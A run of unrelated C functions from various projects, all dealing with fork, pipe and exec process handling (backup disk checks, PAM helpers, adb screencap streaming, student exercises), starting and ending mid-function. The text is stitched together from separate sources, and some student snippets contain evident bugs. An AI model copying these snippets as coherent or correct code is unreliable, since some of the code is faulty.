sizeof(char)); str[i++] = c; } while ( rc > 0 && c != '\n' && c != '\0'); str[i] = '\0'; if (rc <= 0) { gw_log_print("EM",'E',"\tInitialization failure, reading from MAD %s.\n", em_mad->name); gw_em_mad_finalize(em_mad); return -1; } sscanf(str,"%s %s %s %[^\n]", action, s_job_id, result, info); #ifdef GWEMDEBUG gw_log_print("EM",'D',"MAD message received:\"%s %s %s %s\".\n", action, s_job_id, result, info); #endif if (strcmp(action, "INIT") == 0) { if (strcmp(result, "FAILURE") == 0) { gw_log_print("EM",'E',"\tInitialization failure of MAD %s.\n", em_mad->name); gw_em_mad_finalize(em_mad); return -1; } } else { gw_log_print("EM",'E',"\tInitialization failure, bad response from MAD %s.\n", em_mad->name); gw_em_mad_finalize(em_mad); return -1; } break; } return 0; }
static void check_disk( dle_t *dle) { char *device = NULL; char *err = NULL; char *user_and_password = NULL; char *domain = NULL; char *share = NULL, *subdir = NULL; size_t lpass = 0; int amode = R_OK; int access_result; char *access_type; char *extra_info = NULL; char *qdisk = NULL; char *qamdevice = NULL; char *qdevice = NULL; if (dle->disk) { need_global_check=1; qdisk = quote_string(dle->disk); qamdevice = quote_string(dle->device); device = g_strdup("nodevice"); dbprintf(_("checking disk %s\n"), qdisk); if (GPOINTER_TO_INT(dle->estimatelist->data) == ES_CALCSIZE) { if (dle->device[0] == '/' && dle->device[1] == '/') { err = g_strdup_printf( _("Can't use CALCSIZE for samba estimate, use CLIENT: %s"), dle->device); goto common_exit; } } if (g_str_equal(dle->program, "GNUTAR")) { if(dle->device[0] == '/' && dle->device[1] == '/') { #ifdef SAMBA_CLIENT int nullfd, checkerr; int passwdfd; char *pwtext; size_t pwtext_len; pid_t checkpid; amwait_t retstat; pid_t wpid; int rc; char *line; char *sep; FILE *ferr; char *pw_fd_env; int errdos; parsesharename(dle->device, &share, &subdir); if (!share) { err = g_strdup_printf( _("cannot parse for share/subdir disk entry %s"), dle->device); goto common_exit; } if ((subdir) && (SAMBA_VERSION < 2)) { err = g_strdup_printf(_("subdirectory specified for share '%s' but, samba is not v2 or better"), dle->device); goto common_exit; } if ((user_and_password = findpass(share, &domain)) == NULL) { err = g_strdup_printf(_("cannot find password for %s"), dle->device); goto common_exit; } lpass = strlen(user_and_password); if ((pwtext = strchr(user_and_password, '%')) == NULL) { err = g_strdup_printf( _("password field not \'user%%pass\' for %s"), dle->device); goto common_exit; } *pwtext++ = '\0'; pwtext_len = (size_t)strlen(pwtext); amfree(device); if ((device = makesharename(share, 0)) == NULL) { err = g_strdup_printf(_("cannot make share name of %s"), share); goto common_exit; } if ((nullfd = open("/dev/null", O_RDWR)) == -1) { err = g_strdup_printf(_("Cannot access /dev/null : %s"), strerror(errno)); goto common_exit; } if (pwtext_len > 0) { pw_fd_env = "PASSWD_FD"; } else { pw_fd_env = "dummy_PASSWD_FD"; } checkpid = pipespawn(SAMBA_CLIENT, STDERR_PIPE|PASSWD_PIPE, 0, &nullfd, &nullfd, &checkerr, pw_fd_env, &passwdfd, "smbclient", device, *user_and_password ? "-U" : skip_argument, *user_and_password ? user_and_password : skip_argument, "-E", domain ? "-W" : skip_argument, domain ? domain : skip_argument, #if SAMBA_VERSION >= 2 subdir ? "-D" : skip_argument, subdir ? subdir : skip_argument, #endif "-c", "quit", NULL); checkpid = checkpid; amfree(domain); aclose(nullfd); /*@ignore@*/ if ((pwtext_len > 0) && full_write(passwdfd, pwtext, pwtext_len) < pwtext_len) { err = g_strdup_printf(_("password write failed: %s: %s"), dle->device, strerror(errno)); aclose(passwdfd); goto common_exit; } /*@end@*/ memset(user_and_password, '\0', (size_t)lpass); amfree(user_and_password); aclose(passwdfd); ferr = fdopen(checkerr, "r"); if (!ferr) { g_printf(_("ERROR [Can't fdopen ferr: %s]\n"), strerror(errno)); error(_("Can't fdopen ferr: %s"), strerror(errno)); /*NOTREACHED*/ } sep = ""; errdos = 0; for(sep = ""; (line = agets(ferr)) != NULL; free(line)) { if (line[0] == '\0') continue; strappend(extra_info, sep); strappend(extra_info, line); sep = ": "; if(strstr(line, "ERRDOS") != NULL) { errdos = 1; } } afclose(ferr); checkerr = -1; rc = 0; sep = ""; while ((wpid = wait(&retstat)) != -1) { if (!WIFEXITED(retstat) || WEXITSTATUS(retstat) != 0) { char *exitstr = str_exit_status("smbclient", retstat); strappend(err, sep); strappend(err, exitstr); sep = "\n"; amfree(exitstr); rc = 1; } } if (errdos != 0 || rc != 0) { char *tmpbuf; if (extra_info) { tmpbuf = g_strdup_printf( _("samba access error: %s: %s %s"), dle->device, extra_info, err); amfree(extra_info); } else { tmpbuf = g_strdup_printf(_("samba access error: %s: %s"), dle->device, err); } g_free(err); err = tmpbuf; } #else err = g_strdup_printf( _("This client is not configured for samba: %s"), qdisk); #endif goto common_exit; } amode = F_OK; amfree(device); device = amname_to_dirname(dle->device); } else if (g_str_equal(dle->program, "DUMP")) { if(dle->device[0] == '/' && dle->device[1] == '/') { err = g_strdup_printf( _("The DUMP program cannot handle samba shares, use GNUTAR: %s"), qdisk); goto common_exit; } #ifdef VDUMP /* { */ #ifdef DUMP /* { */ if (g_str_equal(amname_to_fstype(dle->device), "advfs")) #else /* }{*/ if (1) #endif /* } */ { amfree(device); device = amname_to_dirname(dle->device); amode = F_OK; } else #endif /* } */ { amfree(device); device = amname_to_devname(dle->device); #ifdef USE_RUNDUMP amode = F_OK; #else amode = R_OK; #endif } } } if (dle->program_is_application_api) { pid_t application_api_pid; backup_support_option_t *bsu; int app_err[2]; GPtrArray *errarray; bsu = backup_support_option(dle->program, g_options, dle->disk, dle->device, &errarray); if (!bsu) { char *line; guint i; for (i=0; i < errarray->len; i++) { line = g_ptr_array_index(errarray, i); fprintf(stdout, _("ERROR Application '%s': %s\n"), dle->program, line); amfree(line); } err = g_strdup_printf(_("Application '%s': can't run support command"), dle->program); goto common_exit; } if (dle->data_path == DATA_PATH_AMANDA && (bsu->data_path_set & DATA_PATH_AMANDA)==0) { g_printf("ERROR application %s doesn't support amanda data-path\n", dle->program); } if (dle->data_path == DATA_PATH_DIRECTTCP && (bsu->data_path_set & DATA_PATH_DIRECTTCP)==0) { g_printf("ERROR application %s doesn't support directtcp data-path\n", dle->program); } if (GPOINTER_TO_INT(dle->estimatelist->data) == ES_CALCSIZE && !bsu->calcsize) { g_printf("ERROR application %s doesn't support calcsize estimate\n", dle->program); } if (dle->include_file && dle->include_file->nb_element > 0 && !bsu->include_file) { g_printf("ERROR application %s doesn't support include-file\n", dle->program); } if (dle->include_list && dle->include_list->nb_element > 0 && !bsu->include_list) { g_printf("ERROR application %s doesn't support include-list\n", dle->program); } if (dle->include_optional && !bsu->include_optional) { g_printf("ERROR application %s doesn't support optional include\n", dle->program); } if (dle->exclude_file && dle->exclude_file->nb_element > 0 && !bsu->exclude_file) { g_printf("ERROR application %s doesn't support exclude-file\n", dle->program); } if (dle->exclude_list && dle->exclude_list->nb_element > 0 && !bsu->exclude_list) { g_printf("ERROR application %s doesn't support exclude-list\n", dle->program); } if (dle->exclude_optional && !bsu->exclude_optional) { g_printf("ERROR application %s doesn't support optional exclude\n", dle->program); } fflush(stdout);fflush(stderr); if (pipe(app_err) < 0) { err = g_strdup_printf(_("Application '%s': can't create pipe"), dle->program); goto common_exit; } switch (application_api_pid = fork()) { case -1: err = g_strdup_printf(_("fork failed: %s"), strerror(errno)); goto common_exit; case 0: /* child */ { GPtrArray *argv_ptr = g_ptr_array_new(); GPtrArray *argv_quoted = g_ptr_array_new(); gchar **args, **quoted_strings, **ptr; char *cmd = g_strjoin(NULL, APPLICATION_DIR, "/", dle->program, NULL); GSList *scriptlist; script_t *script; estimatelist_t el; char *cmdline; aclose(app_err[0]); dup2(app_err[1], 2); g_ptr_array_add(argv_ptr, g_strdup(dle->program)); g_ptr_array_add(argv_ptr, g_strdup("selfcheck")); if (bsu->message_line == 1) { g_ptr_array_add(argv_ptr, g_strdup("--message")); g_ptr_array_add(argv_ptr, g_strdup("line")); } if (g_options->config != NULL && bsu->config == 1) { g_ptr_array_add(argv_ptr, g_strdup("--config")); g_ptr_array_add(argv_ptr, g_strdup(g_options->config)); } if (g_options->hostname != NULL && bsu->host == 1) { g_ptr_array_add(argv_ptr, g_strdup("--host")); g_ptr_array_add(argv_ptr, g_strdup(g_options->hostname)); } if (dle->disk != NULL && bsu->disk == 1) { g_ptr_array_add(argv_ptr, g_strdup("--disk")); g_ptr_array_add(argv_ptr, g_strdup(dle->disk)); } if (dle->device) { g_ptr_array_add(argv_ptr, g_strdup("--device")); g_ptr_array_add(argv_ptr, g_strdup(dle->device)); } if (dle->create_index && bsu->index_line == 1) { g_ptr_array_add(argv_ptr, g_strdup("--index")); g_ptr_array_add(argv_ptr, g_strdup("line")); } if (dle->record && bsu->record == 1) { g_ptr_array_add(argv_ptr, g_strdup("--record")); } for (el = dle->estimatelist; el != NULL; el=el->next) { estimate_t estimate = (estimate_t)GPOINTER_TO_INT(el->data); if (estimate == ES_CALCSIZE && bsu->calcsize == 1) { g_ptr_array_add(argv_ptr, g_strdup("--calcsize")); } } application_property_add_to_argv(argv_ptr, dle, bsu, g_options->features); for (scriptlist = dle->scriptlist; scriptlist != NULL; scriptlist = scriptlist->next) { script = (script_t *)scriptlist->data; if (script->result && script->result->proplist) { property_add_to_argv(argv_ptr, script->result->proplist); } } g_ptr_array_add(argv_ptr, NULL); args = (gchar **)g_ptr_array_free(argv_ptr, FALSE); /* * Build the command line to display */ g_ptr_array_add(argv_quoted, g_strdup(cmd)); for (ptr = args; *ptr; ptr++) g_ptr_array_add(argv_quoted, quote_string(*ptr)); g_ptr_array_add(argv_quoted, NULL); quoted_strings = (gchar **)g_ptr_array_free(argv_quoted, FALSE); cmdline = g_strjoinv(" ", quoted_strings); g_strfreev(quoted_strings); dbprintf(_("Spawning \"%s\" in pipeline\n"), cmdline); amfree(cmdline); safe_fd(-1, 0); execve(cmd, args, safe_env()); g_printf(_("ERROR [Can't execute %s: %s]\n"), cmd, strerror(errno)); exit(127); } default: /* parent */ { int status; FILE *app_stderr; char *line; aclose(app_err[1]); app_stderr = fdopen(app_err[0], "r"); if (!app_stderr) { g_printf(_("ERROR [Can't fdopen app_stderr: %s]\n"), strerror(errno)); error(_("Can't fdopen app_stderr: %s"), strerror(errno)); /*NOTREACHED*/ } while((line = agets(app_stderr)) != NULL) { if (strlen(line) > 0) { fprintf(stdout, "ERROR Application '%s': %s\n", dle->program, line); dbprintf("ERROR %s\n", line); } amfree(line); } fclose(app_stderr); if (waitpid(application_api_pid, &status, 0) < 0) { err = g_strdup_printf(_("waitpid failed: %s"), strerror(errno)); goto common_exit; } else if (!WIFEXITED(status)) { err = g_strdup_printf(_("Application '%s': exited with signal %d"), dle->program, WTERMSIG(status)); goto common_exit; } else if (WEXITSTATUS(status) != 0) { err = g_strdup_printf(_("Application '%s': exited with status %d"), dle->program, WEXITSTATUS(status)); goto common_exit; } } } amfree(bsu); fflush(stdout);fflush(stderr); amfree(device); amfree(qamdevice); amfree(qdisk); return; } if (device) { qdevice = quote_string(device); dbprintf(_("device %s\n"), qdevice); /* skip accessability test if this is an AFS entry */ if(strncmp_const(device, "afs:") != 0) { #ifdef CHECK_FOR_ACCESS_WITH_OPEN access_result = open(device, O_RDONLY); access_type = "open"; #else access_result = access(device, amode); access_type = "access"; #endif if(access_result == -1) { err = g_strdup_printf(_("Could not %s %s (%s): %s"), access_type, qdevice, qdisk, strerror(errno)); } #ifdef CHECK_FOR_ACCESS_WITH_OPEN aclose(access_result); #endif } } common_exit: if (!qdevice) qdevice = quote_string(device); amfree(share); amfree(subdir); if(user_and_password) { memset(user_and_password, '\0', (size_t)lpass); amfree(user_and_password); } amfree(domain); if(err) { g_printf(_("ERROR %s\n"), err); dbprintf(_("%s\n"), err); amfree(err); } else { if (dle->disk) { g_printf("OK %s\n", qdisk); dbprintf(_("disk %s OK\n"), qdisk); } if (dle->device) { g_printf("OK %s\n", qamdevice); dbprintf(_("amdevice %s OK\n"), qamdevice); } if (device) { g_printf("OK %s\n", qdevice); dbprintf(_("device %s OK\n"), qdevice); } } if(extra_info) { dbprintf(_("extra info: %s\n"), extra_info); amfree(extra_info); } amfree(qdisk); amfree(qdevice); amfree(qamdevice); amfree(device); /* XXX perhaps do something with level: read dumpdates and sanity check */ }
/* Run a given command (with a NULL-terminated argument list), feeding it the * given input on stdin, and storing any output it generates. */ static int run_coprocess(pam_handle_t *pamh, const char *input, char **output, uid_t uid, gid_t gid, const char *command, ...) { int ipipe[2], opipe[2], i; char buf[LINE_MAX]; pid_t child; char *buffer = NULL; size_t buffer_size = 0; va_list ap; *output = NULL; /* Create stdio pipery. */ if (pipe(ipipe) == -1) { pam_syslog(pamh, LOG_ERR, "Could not create pipe: %m"); return -1; } if (pipe(opipe) == -1) { pam_syslog(pamh, LOG_ERR, "Could not create pipe: %m"); close(ipipe[0]); close(ipipe[1]); return -1; } /* Fork off a child. */ child = fork(); if (child == -1) { pam_syslog(pamh, LOG_ERR, "Could not fork: %m"); close(ipipe[0]); close(ipipe[1]); close(opipe[0]); close(opipe[1]); return -1; } if (child == 0) { /* We're the child. */ size_t j; const char *args[10]; /* Drop privileges. */ if (setgid(gid) == -1) { int err = errno; pam_syslog (pamh, LOG_ERR, "setgid(%lu) failed: %m", (unsigned long) getegid ()); _exit (err); } if (setgroups(0, NULL) == -1) { int err = errno; pam_syslog (pamh, LOG_ERR, "setgroups() failed: %m"); _exit (err); } if (setuid(uid) == -1) { int err = errno; pam_syslog (pamh, LOG_ERR, "setuid(%lu) failed: %m", (unsigned long) geteuid ()); _exit (err); } /* Set the pipe descriptors up as stdin and stdout, and close * everything else, including the original values for the * descriptors. */ if (dup2(ipipe[0], STDIN_FILENO) != STDIN_FILENO) { int err = errno; pam_syslog(pamh, LOG_ERR, "dup2 of %s failed: %m", "stdin"); _exit(err); } if (dup2(opipe[1], STDOUT_FILENO) != STDOUT_FILENO) { int err = errno; pam_syslog(pamh, LOG_ERR, "dup2 of %s failed: %m", "stdout"); _exit(err); } if (pam_modutil_sanitize_helper_fds(pamh, PAM_MODUTIL_IGNORE_FD, PAM_MODUTIL_IGNORE_FD, PAM_MODUTIL_NULL_FD) < 0) { _exit(1); } /* Initialize the argument list. */ memset(args, 0, sizeof(args)); /* Convert the varargs list into a regular array of strings. */ va_start(ap, command); args[0] = command; for (j = 1; j < ((sizeof(args) / sizeof(args[0])) - 1); j++) { args[j] = va_arg(ap, const char*); if (args[j] == NULL) { break; } } /* Run the command. */ execv(command, (char *const *) args); /* Never reached. */ _exit(1); }
void framebuffer_service(unique_fd fd) { struct fbinfo fbinfo; unsigned int i, bsize; char buf[640]; int fd_screencap; int w, h, f, c; int fds[2]; pid_t pid; if (pipe2(fds, O_CLOEXEC) < 0) return; pid = fork(); if (pid < 0) goto done; if (pid == 0) { dup2(fds[1], STDOUT_FILENO); adb_close(fds[0]); adb_close(fds[1]); const char* command = "screencap"; const char *args[2] = {command, nullptr}; execvp(command, (char**)args); perror_exit("exec screencap failed"); } adb_close(fds[1]); fd_screencap = fds[0]; /* read w, h, format & color space */ if(!ReadFdExactly(fd_screencap, &w, 4)) goto done; if(!ReadFdExactly(fd_screencap, &h, 4)) goto done; if(!ReadFdExactly(fd_screencap, &f, 4)) goto done; if(!ReadFdExactly(fd_screencap, &c, 4)) goto done; fbinfo.version = DDMS_RAWIMAGE_VERSION; fbinfo.colorSpace = c; /* see hardware/hardware.h */ switch (f) { case 1: /* RGBA_8888 */ fbinfo.bpp = 32; fbinfo.size = w * h * 4; fbinfo.width = w; fbinfo.height = h; fbinfo.red_offset = 0; fbinfo.red_length = 8; fbinfo.green_offset = 8; fbinfo.green_length = 8; fbinfo.blue_offset = 16; fbinfo.blue_length = 8; fbinfo.alpha_offset = 24; fbinfo.alpha_length = 8; break; case 2: /* RGBX_8888 */ fbinfo.bpp = 32; fbinfo.size = w * h * 4; fbinfo.width = w; fbinfo.height = h; fbinfo.red_offset = 0; fbinfo.red_length = 8; fbinfo.green_offset = 8; fbinfo.green_length = 8; fbinfo.blue_offset = 16; fbinfo.blue_length = 8; fbinfo.alpha_offset = 24; fbinfo.alpha_length = 0; break; case 3: /* RGB_888 */ fbinfo.bpp = 24; fbinfo.size = w * h * 3; fbinfo.width = w; fbinfo.height = h; fbinfo.red_offset = 0; fbinfo.red_length = 8; fbinfo.green_offset = 8; fbinfo.green_length = 8; fbinfo.blue_offset = 16; fbinfo.blue_length = 8; fbinfo.alpha_offset = 24; fbinfo.alpha_length = 0; break; case 4: /* RGB_565 */ fbinfo.bpp = 16; fbinfo.size = w * h * 2; fbinfo.width = w; fbinfo.height = h; fbinfo.red_offset = 11; fbinfo.red_length = 5; fbinfo.green_offset = 5; fbinfo.green_length = 6; fbinfo.blue_offset = 0; fbinfo.blue_length = 5; fbinfo.alpha_offset = 0; fbinfo.alpha_length = 0; break; case 5: /* BGRA_8888 */ fbinfo.bpp = 32; fbinfo.size = w * h * 4; fbinfo.width = w; fbinfo.height = h; fbinfo.red_offset = 16; fbinfo.red_length = 8; fbinfo.green_offset = 8; fbinfo.green_length = 8; fbinfo.blue_offset = 0; fbinfo.blue_length = 8; fbinfo.alpha_offset = 24; fbinfo.alpha_length = 8; break; default: goto done; } /* write header */ if (!WriteFdExactly(fd.get(), &fbinfo, sizeof(fbinfo))) goto done; /* write data */ for(i = 0; i < fbinfo.size; i += bsize) { bsize = sizeof(buf); if (i + bsize > fbinfo.size) bsize = fbinfo.size - i; if(!ReadFdExactly(fd_screencap, buf, bsize)) goto done; if (!WriteFdExactly(fd.get(), buf, bsize)) goto done; } done: adb_close(fds[0]); TEMP_FAILURE_RETRY(waitpid(pid, nullptr, 0)); }
int main (int argc, char *argv[]) { int i, j, k, tick, numfils; int status, pid, filsactifs; char buf[LMAX]; int rd; /* Mise en place des paramètres par défaut */ if (!((argc == 2) && ((k=strtol(argv[1], (char **)NULL, 10))>0))){ /* atoi obsolete */ k = 1; printf("utilisation : %s <pas de temps>\n", argv[0]); printf("Execution avec le pas par defaut (1 s)\n"); } /* Création de NBFILS fils*/ for (i = 0; i < NBFILS; i++) { /* Création du pipe pour discuter avec le fils */ pipe(pipes[i]); /* Création du fils */ switch (pid = fork()) { case -1 : perror ("Fork failed"); exit (1); case 0 : /* Fermeture de la sortie du pipe pour le fils */ close(pipes[i][0]); /* Redirection de la sortie standard du fils vers l'entrée du pipe */ dup2(pipes[i][1], 1); /* Initialisation des paramètres du pipe */ tick=0; numfils=i+1; /* durant k*DUREE secondes, chaque fils repete : - afficher numfils messages - s'endormir durant k*numfils secondes (k secondes après chaque message) */ while(tick<k*DUREE) { for(j=0; j<numfils; j++) { sprintf(buf, "Temps %d - Fils %d - message %d\n",tick+j*k, numfils, j); write(pipes[i][1], buf, strlen(buf)); sleep (k); } tick+=k*numfils; } exit(0); default : /* Fermeture de l'entrée du pipe pour le père */ close(pipes[i][1]); /* Lecture du pipe non bloquante */ fcntl(pipes[i][0], F_SETFL, fcntl(pipes[i][0], F_GETFL) | O_NONBLOCK); /* Enregistrement du pid du fils */ pids[i] = pid; ; } } /* pere */ // Ajout du handler pour la terminaison des fils signal(SIGCHLD, handler); // Tant qu'il y a des fils à traiter filsactifs = NBFILS; while(filsactifs > 0) {// Pour chaque fils for(i = 0; i < NBFILS; i++) { // Si le fils est encore à traiter if(pids[i] >= 0) { // Vider le pipe bzero(buf, LMAX); rd = read(pipes[i][0], &buf, LMAX); if(rd > 0) { printf("%s", buf); } // Si le fils viens de terminer if(pids[i] == 0) { pids[i] = -1; close(pipes[i][0]); filsactifs--; } } } } }
void start_command_on_channel(char *command, Channel *ch) { struct external *ext; int pid; int from[2], to[2]; static char *path, *oscopepath; if (pipe(to) || pipe(from)) { /* get a set of pipes */ sprintf(error, "%s: can't create pipes", progname); perror(error); return; } signal(SIGPIPE, SIG_IGN); if ((pid = fork()) > 0) { /* parent */ close(to[0]); close(from[1]); } else if (pid == 0) { /* child */ close(to[1]); close(from[0]); close(0); close(1); /* redirect stdin/out through pipes */ dup2(to[0], 0); dup2(from[1], 1); close(to[0]); close(from[1]); /* XXX add additional environment vars here for sampling rate * and number of samples per frame */ if ((oscopepath = getenv("OSCOPEPATH")) == NULL) oscopepath = PACKAGE_LIBEXEC_DIR; if ((path = malloc(strlen(oscopepath) + 6)) != NULL) { sprintf(path,"PATH=%s", oscopepath); putenv(path); /* putenv() requires buffer to stick around, so no free(), * but we're in the child, and about to exec, so no big deal */ } execlp("/bin/sh", "sh", "-c", command, NULL); sprintf(error, "%s: child can't exec /bin/sh -c \"%s\"", progname, command); perror(error); exit(1); } else { /* fork error */ sprintf(error, "%s: can't fork", progname); perror(error); return; } ext = malloc(sizeof(struct external)); if (ext == NULL) { fprintf(stderr, "malloc() struct external failed\n"); return; } bzero(ext, sizeof(struct external)); strncpy(ext->signal.savestr, command, sizeof(ext->signal.savestr)); ext->pid = pid; ext->from = from[0]; ext->to = to[1]; ext->next = externals; externals = ext; message(command); recall_on_channel(&ext->signal, ch); }
static int ExecProc(char *exec, char *dir, int fdin, int fdout, char **argv, char **envp) { struct iovec iov[2]; int pid, nread, errpipe[2], errnum, result; /* * Create a pipe for child error message. */ if (ns_pipe(errpipe) < 0) { Ns_Log(Error, "exec: ns_pipe() failed: %s", strerror(errno)); return -1; } /* * Fork child and read error message (if any). */ pid = ns_fork(); if (pid < 0) { close(errpipe[0]); close(errpipe[1]); Ns_Log(Error, "exec: ns_fork() failed: %s", strerror(errno)); return -1; } iov[0].iov_base = (caddr_t) &result; iov[1].iov_base = (caddr_t) &errnum; iov[0].iov_len = iov[1].iov_len = sizeof(int); if (pid == 0) { /* * Setup child and exec the program, writing any error back * to the parent if necessary. */ close(errpipe[0]); if (dir != NULL && chdir(dir) != 0) { result = ERR_CHDIR; } else if ((fdin == 1 && (fdin = dup(1)) < 0) || (fdout == 0 && (fdout = dup(0)) < 0) || (fdin != 0 && dup2(fdin, 0) < 0) || (fdout != 1 && dup2(fdout, 1) < 0)) { result = ERR_DUP; } else { if (fdin > 2) { close(fdin); } if (fdout > 2) { close(fdout); } NsRestoreSignals(); Ns_NoCloseOnExec(0); Ns_NoCloseOnExec(1); Ns_NoCloseOnExec(2); execve(exec, argv, envp); /* NB: Not reached on successful execve(). */ result = ERR_EXEC; } errnum = errno; (void) writev(errpipe[1], iov, 2); _exit(1); } else { /* * Read result and errno from the child if any. */ close(errpipe[1]); do { nread = readv(errpipe[0], iov, 2); } while (nread < 0 && errno == EINTR); close(errpipe[0]); if (nread == 0) { errnum = 0; result = pid; } else { if (nread != (sizeof(int) * 2)) { Ns_Log(Error, "exec: %s: error reading status from child: %s", exec, strerror(errno)); } else { switch (result) { case ERR_CHDIR: Ns_Log(Error, "exec %s: chdir(%s) failed: %s", exec, dir, strerror(errnum)); break; case ERR_DUP: Ns_Log(Error, "exec %s: dup failed: %s", exec, strerror(errnum)); break; case ERR_EXEC: Ns_Log(Error, "exec %s: execve() failed: %s", exec, strerror(errnum)); break; default: Ns_Log(Error, "exec %s: unknown result from child: %d", exec, result); break; } } (void) waitpid(pid, NULL, 0); errno = errnum; } } return result; }
void runPrograms(char colourA,char colourB,int n) { char a; pid_t pid; int rv; int parentA[2]; // The four pipes int childA[2]; int parentB[2]; int childB[2]; char buffA[50]; char buffB[50]; if ( pipe(parentA) || pipe(childA) || pipe(parentB) || pipe(childB) ) { fprintf(stderr, "Pipe error!\n"); exit(1); } int i; i = pfork(3); if ( i == 0 ) // A positive (non-negative) PID indicates the parent process // parent { setvbuf(stdout, (char*) NULL, _IONBF, 0); int inA, outA; inA = parentA[0]; outA = childA[1]; close(parentA[1]); close(childB[0]); int inB, outB; inB = parentB[0]; outB = childB[1]; close(parentB[1]); close(childB[0]); write(outA, &colourA, 50); write(outB, &colourB, 50); sleep(1); read (inA, buffA, 50); read (inB, buffB, 50); printf("%s%s\n", buffA, buffB); //write (outB, buff,strlen(buff) + 1); /*dup2(commpipeAParent[0], 0); // Replace stdin with the in side of the pipe close(commpipeAParent[1]); // Close unused side of pipe (out side) Replace the child fork with a new process { if (execl("A", "A", NULL) == -1) fprintf(stderr, "execl Error!"); exit(1); }*/ } else if ( i == 1 ) // child A // A zero PID indicates that this is the child process { setvbuf(stdout, (char*) NULL, _IONBF, 0); int in, out; in = childA[0]; out = parentA[1]; close(childA[1]); close(parentA[0]); dup2(in, 0); dup2(out, 1); //write (out,hi,strlen(hi)+1); //read(in, buff, 50); //char temp[50]; //scanf("%s", temp); //printf("%s", temp); if (execl("A", "A", NULL) == -1) fprintf(stderr, "A execl Error!\n"); exit(1); /* dup2(commpipeAParent[1], 1); // Replace stdout with out side of the pipe close(commpipeAParent[0]); // Close unused side of pipe (in side) setvbuf(stdout, (char*) NULL, _IONBF, 0); // Set non-buffered output on stdout */ } else if ( i == 2 ) // child B { setvbuf(stdout, (char*) NULL, _IONBF, 0); int in, out; in = childB[0]; out = parentB[1]; close(childB[1]); close(parentB[0]); dup2(in, 0); dup2(out, 1); //read(in, buff, 50); // write(out, hi, strlen(hi)+1) //char temp[50]; //scanf("%s", temp); //printf("%s", temp); if (execl("B", "B", NULL) == -1) fprintf(stderr, "B execl Error!\n"); exit(1); } }
int main (int argc, char *argv[]) { enum { OPT_SERVER, OPT_MUTLI_SERVER, OPT_DAEMON, OPT_VERBOSE, OPT_QUIET, OPT_SH, OPT_CSH, OPT_OPTIONS, OPT_NO_DETACH, OPT_LOG_FILE, OPT_VERSION, OPT_HELP }; static struct option long_options[] = { { "server", no_argument, NULL, OPT_SERVER }, { "multi-server", no_argument, NULL, OPT_MUTLI_SERVER }, { "daemon", no_argument, NULL, OPT_DAEMON }, { "verbose", no_argument, NULL, OPT_VERBOSE }, { "quiet", no_argument, NULL, OPT_QUIET }, { "sh", no_argument, NULL, OPT_SH }, { "csh", no_argument, NULL, OPT_CSH }, { "options", required_argument, NULL, OPT_OPTIONS }, { "no-detach", no_argument, NULL, OPT_NO_DETACH }, { "log-file", required_argument, NULL, OPT_LOG_FILE }, { "version", no_argument, NULL, OPT_VERSION }, { "help", no_argument, NULL, OPT_HELP }, { NULL, 0, NULL, 0 } }; int long_options_ret; int base_argc = 1; int usage_ok = 1; enum { RUN_MODE_NONE, RUN_MODE_SERVER, RUN_MODE_MULTI_SERVER, RUN_MODE_DAEMON } run_mode = RUN_MODE_NONE; int env_is_csh = 0; int log_verbose = 0; int log_quiet = 0; int no_detach = 0; char *config_file = NULL; char *log_file = NULL; char *home_dir = NULL; int have_at_least_one_provider=0; FILE *fp_log = NULL; int i; CK_RV rv; dconfig_data_t config; const char * CONFIG_SUFFIX = ".conf"; char *default_config_file = NULL; #if !defined(HAVE_W32_SYSTEM) s_parent_pid = getpid (); #endif if ((default_config_file = (char *)malloc (strlen (PACKAGE)+strlen (CONFIG_SUFFIX)+1)) == NULL) { common_log (LOG_FATAL, "malloc failed"); } sprintf (default_config_file, "%s%s", PACKAGE, CONFIG_SUFFIX); common_set_log_stream (stderr); while ((long_options_ret = getopt_long (argc, argv, "vqsc", long_options, NULL)) != -1) { base_argc++; switch (long_options_ret) { case OPT_SERVER: run_mode = RUN_MODE_SERVER; break; case OPT_MUTLI_SERVER: run_mode = RUN_MODE_MULTI_SERVER; break; case OPT_DAEMON: run_mode = RUN_MODE_DAEMON; break; case OPT_VERBOSE: case 'v': log_verbose = 1; break; case OPT_QUIET: case 'q': log_quiet = 1; break; case OPT_SH: case 's': break; case OPT_CSH: case 'c': env_is_csh = 1; break; case OPT_OPTIONS: base_argc++; config_file = strdup (optarg); break; case OPT_NO_DETACH: no_detach = 1; break; case OPT_LOG_FILE: base_argc++; log_file = strdup (optarg); break; case OPT_VERSION: printf ( "%s %s\n" "\n" "Copyright (c) 2006-2007 Zeljko Vrba <*****@*****.**>\n" "Copyright (c) 2006-2011 Alon Bar-Lev <*****@*****.**>\n" "\n" "This is free software; see the source for copying conditions.\n" "There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n", PACKAGE, PACKAGE_VERSION ); exit (1); break; case OPT_HELP: usage_ok = 0; break; default: usage_ok = 0; break; } } if (base_argc < argc) { if (!strcmp (argv[base_argc], "--")) { base_argc++; } } if (!usage_ok) { usage (argv[0]); } if (run_mode == RUN_MODE_NONE) { common_log (LOG_FATAL, "please use the option `--daemon' to run the program in the background"); } #if defined(HAVE_W32_SYSTEM) if (run_mode == RUN_MODE_DAEMON) { common_log (LOG_FATAL, "daemon mode is not supported"); } #endif home_dir = get_home_dir (); if (config_file == NULL) { if ((config_file = (char *)malloc (strlen (home_dir) + strlen (default_config_file)+2)) == NULL) { common_log (LOG_FATAL, "malloc failed"); } sprintf (config_file, "%s%c%s", home_dir, CONFIG_PATH_SEPARATOR, default_config_file); } if ( !dconfig_read (config_file, &config) && !dconfig_read (CONFIG_SYSTEM_CONFIG, &config) ) { common_log (LOG_FATAL, "Cannot open configuration file"); } if (log_file != NULL) { if (config.log_file != NULL) { free (config.log_file); } if ((config.log_file = strdup (log_file)) == NULL) { common_log (LOG_FATAL, "strdup failed"); } } if (log_verbose) { config.verbose = 1; } #if !defined(HAVE_W32_SYSTEM) signal (SIGPIPE, SIG_IGN); signal (SIGINT, on_signal); signal (SIGTERM, on_signal); signal (SIGABRT, on_signal); signal (SIGHUP, on_signal); #endif if (log_file != NULL) { if (strcmp (log_file, "stderr")) { if ((fp_log = fopen (log_file, "a")) != NULL) { common_set_log_stream (fp_log); } } } else if (config.log_file != NULL) { if (strcmp (config.log_file, "stderr")) { if ((fp_log = fopen (config.log_file, "a")) != NULL) { common_set_log_stream (fp_log); } } } if (config.debug) { common_log (LOG_DEBUG, "version: %s", PACKAGE_VERSION); dconfig_print (&config); common_log (LOG_DEBUG, 